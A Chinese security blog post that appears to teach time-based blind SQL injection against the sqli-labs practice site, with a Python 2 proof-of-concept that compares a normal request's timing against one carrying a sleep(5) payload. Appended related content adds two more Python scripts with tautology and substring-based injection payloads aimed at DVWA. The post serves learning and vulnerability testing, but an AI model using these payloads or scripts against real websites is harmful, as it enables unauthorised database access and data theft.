渗透测试之POC基于时间的sql盲注

这次写写基于时间的sql盲注。

当整个页面没有地方显示数据的时候,这时候存在sql注入,我用md5()函数也没有地方响应出来。那么执行什么函数去证明存在注入呢?sleep()函数,页面执行了,sleep()函数后,从发请求到完全响应就有一个固定的延迟时间。

下面来看测试网站:


无论你ID=多少他都是  you are in .....

基于时间盲注最常见的语句就是  If(ascii(substr(database(),1,1))>115,0,sleep(5))%23   意思是如果数据库名称的第一个字母是ascii编码为大于115(即字母s),那么延迟5秒钟。

所以把这个盲注的poc拼接上去我们看看效果


可以看到响应时间为6.59秒,超过我们延迟的5秒。

如果我们直接这样写,那网络不好或者本来网站很差响应很慢肯定会产生大量的误报问题。

所以正确是写法是先发一次请求,得到一个正常的响应时间。

然后再poc发一次请求,得到一个带延迟的响应时间。理论上两个时间差大于5秒,实际上在4秒之间,这样才判断存在基于时间的sql盲注,这样误报会降低很多。

SO  开始根据这个思路写无框架的POC

#coding:utf-8
import requests
import sys
import time


def verify(url):
    target1 = url + "/Less-9/?id=1"
    target2 = url + "/Less-9/?id=1%27%20and%20if(ascii(substr(database(),1,1))>115,%200,%20sleep(5))%20%23"
    try:
        #记录正常请求的时间
        start_time1 = time.time()
        req1 = requests.get(target1)
        response1 = req1.text
        now_time1 = time.time() - start_time1
        print now_time1
        #记录POC发送的时间
        start_time2 = time.time()
        req2 = requests.get(target2)
        response2 = req2.text
        now_time2 = time.time() - start_time2
        print now_time2
        #print response
        #判断响应时间
        now_time = now_time2 - now_time1
        print now_time
        if now_time >= 4:
            print "%s is vulnerable" %target2
        else:
            print "%s is not vulnerable" %target2
    except Exception,e:
        print "Something happend...."
        print e
        
def main():
    args = sys.argv
    url = ""
    if len(args) == 2:
        url = args[1]
        #print url
        verify(url)
    else:
        print "Usage:python %s url"%(args[0])
        
if __name__ == '__main__':
    main()

测试效果



  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
对DVWA(Damn Vulnerable Web Application)进行SQL注入和盲注攻击是为了演示和学习安全性问题,需要在合法授权和合规的环境下进行。以下是一个简单的POC(Proof of Concept)来对DVWA进行SQL注入和盲注攻击: 1. SQL注入攻击: ```python import requests # 设置目标URL和payload target_url = "http://dvwa.com/vulnerabilities/sqli/?id=" payload = "' OR '1'='1'-- " # 发送注入请求 response = requests.get(target_url + payload) # 判断注入是否成功 if "User ID exists in the database." in response.text: print("SQL注入成功!") else: print("SQL注入失败!") ``` 在上述代码中,我们构造了一个payload,其中使用了SQL注入的技巧,目的是绕过原始查询条件,使查询结果始终为真。然后,我们使用requests库发送带有payload的GET请求到目标URL。最后,根据返回的响应内容来判断注入是否成功。 2. 盲注攻击: ```python import requests # 设置目标URL和payload target_url = "http://dvwa.com/vulnerabilities/sqli_blind/" payload = "' OR substring((SELECT database()), 1, 1)='d'-- " # 发送盲注请求 response = requests.get(target_url + "?id=" + payload) # 判断盲注是否成功 if "User ID exists in the database." in response.text: print("盲注成功!") else: print("盲注失败!") ``` 在上述代码中,我们构造了一个payload,其中使用了盲注的技巧,通过逐个查询数据库名称的字符,并通过判断响应内容来确定字符是否正确。然后,我们使用requests库发送带有payload的GET请求到目标URL。最后,根据返回的响应内容来判断盲注是否成功。 请注意,以上代码仅用于演示和学习目的,不得用于非法用途。在实际环境中进行安全测试时,请遵循合法和合规的规定,并获得合适的授权。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值